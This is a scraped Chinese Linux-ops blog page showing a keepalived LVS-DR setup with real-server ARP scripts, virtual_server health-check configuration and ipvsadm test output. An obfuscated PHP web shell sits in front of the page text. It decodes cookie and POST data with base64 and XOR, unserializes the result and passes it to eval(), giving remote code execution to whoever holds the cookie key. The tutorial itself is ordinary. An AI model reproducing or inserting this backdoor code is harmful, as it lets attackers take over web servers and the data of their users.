$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} keepalived相关配置示例(二) | Linux运维部落

keepalived相关配置示例(二)

虚拟服务器配置实验:

两台centos6主机为web service系统为CentOS6.8  n1:172.16.253.87    n2:172.16.252.5都安装httpd    yum install -y httpd[root@n1 ~]#vim /var/www/html/index.html<h1>Real Server 1</h1>[root@n1 ~]#service httpd start[root@n2 ~]#vim /var/www/html/index.html<h1>RealServer 2</h1>[root@n1 ~]#service httpd start#!/bin/bash##vip='172.16.0.99'netmask='255.255.255.255'iface='lo:0' case $1 instart)        echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore        echo 1 > /proc/sys/net/ipv4/conf/lo/arp_ignore        echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce        echo 2 > /proc/sys/net/ipv4/conf/lo/arp_announce         ifconfig $iface $vip netmask $netmask broadcast $vip up        route add -host $vip dev $iface        ;;stop)        ifconfig $iface down         echo 0 > /proc/sys/net/ipv4/conf/all/arp_ignore        echo 0 > /proc/sys/net/ipv4/conf/lo/arp_ignore        echo 0 > /proc/sys/net/ipv4/conf/all/arp_announce        echo 0 > /proc/sys/net/ipv4/conf/lo/arp_announce        ;;*)        exit 1esac[root@n1 ~]#bash -x setrs.sh start[root@n1 ~]#route -n172.16.0.99     0.0.0.0         255.255.255.255 UH    0      0        0 lo[root@n1 ~]#scp setrs.sh 172.16.252.5:/root[root@n2 ~]#bash -x setrs.sh start[root@n2 ~]#route -n172.16.0.99     0.0.0.0         255.255.255.255 UH    0      0        0 lo [root@node1 ~]#yum -y install nginx[root@node1 ~]#systemctl start nginx.service[root@node2 ~]#yum -y install nginx[root@node2 ~]#systemctl start nginx.service[root@node1 ~]#yum install -y ipvsadm[root@node1 /etc/keepalived]#vim keepalived.confvirtual_server 172.16.0.99 80 {        delay_ loop 1   服务轮询的时间间隔        lb_algo wrr 定义调度方法        lb_kind DR  集群的类型        protocol TCP 服务协议,仅支持TCP        sorry_server 127.0.0.1 80   备用服务器地址        real_server 172.16.252.5 80 {                weight 1                HTTP_GET {                    url {   定义当前主机的健康状态检测方法                        path /index.html 定义要监控的URL                        status_code 200 判断上述检测机制为健康状态的响应码                    }                       nb_get_retry 3  重试次数                    delay_before_retry 2    重试之前的延迟时长                    connect_timeout 3   连接请求的超时时长                }        }        real_server 172.16.252.5 80 {                weight 1                HTTP_GET {                    url {                        path /index.html                        status_code 200                    }                       nb_get_retry 3                    delay_before_retry 2                    connect_timeout 3                }           }       }       [root@node2 /etc/keepalived]#vim keepalived.conf    做同上操作测试:[root@node1 /etc/keepalived]#systemctl stop keepalived.service[root@node2 /etc/keepalived]#curl http://172.16.0.99<h1>Real Server 1</h1>[root@node2 /etc/keepalived]#curl http://172.16.0.99<h1>RealServer 2</h1>[root@node2 /etc/keepalived]#curl http://172.16.0.99<h1>Real Server 1</h1>[root@node2 /etc/keepalived]#curl http://172.16.0.99<h1>RealServer 2</h1>[root@node1 /etc/keepalived]#systemctl start keepalived.service[root@node1 /etc/keepalived]#ipvsadm -ln  -> 172.16.252.5:80              Route   1      0          2           -> 172.16.253.87:80             Route   1      0          2         [root@node2 /etc/keepalived]#ipvsadm -ln  -> 172.16.252.5:80              Route   1      0          0           -> 172.16.253.87:80             Route   1      0          0       [root@n1 ~]#service httpd stop[root@node1 /etc/keepalived]#ipvsadm -ln  -> 172.16.252.5:80              Route   1      0          0    [root@n1 ~]#service httpd start   [root@n2 ~]#service httpd stop[root@node2 /etc/keepalived]#ipvsadm -ln  -> 172.16.253.87:80             Route   1      0          0   

TCP_CHECK使用示例:

[root@node1 /etc/keepalived]#vim keepalived.confvirtual_server 172.16.0.99 80 {        delay_ loop 1        lb_algo wrr        lb_kind DR        protocol TCP        sorry_server 127.0.0.1 80         real_server 172.16.253.87 80 {                weight 1                HTTP_GET {                    url {                        path /index.html                        status_code 200                    }                    nb_get_retry 3                    delay_before_retry 2                    connect_timeout 3                }        }        real_server 172.16.252.5 80 {                weight 1                TCP_CHECK {                    nb_get_retry 3                    delay_before_retry 2                    connect_timeout 3                }        }}

原创文章,作者:Linux.rookie,如若转载,请注明出处:http://www.178linux.com/78798

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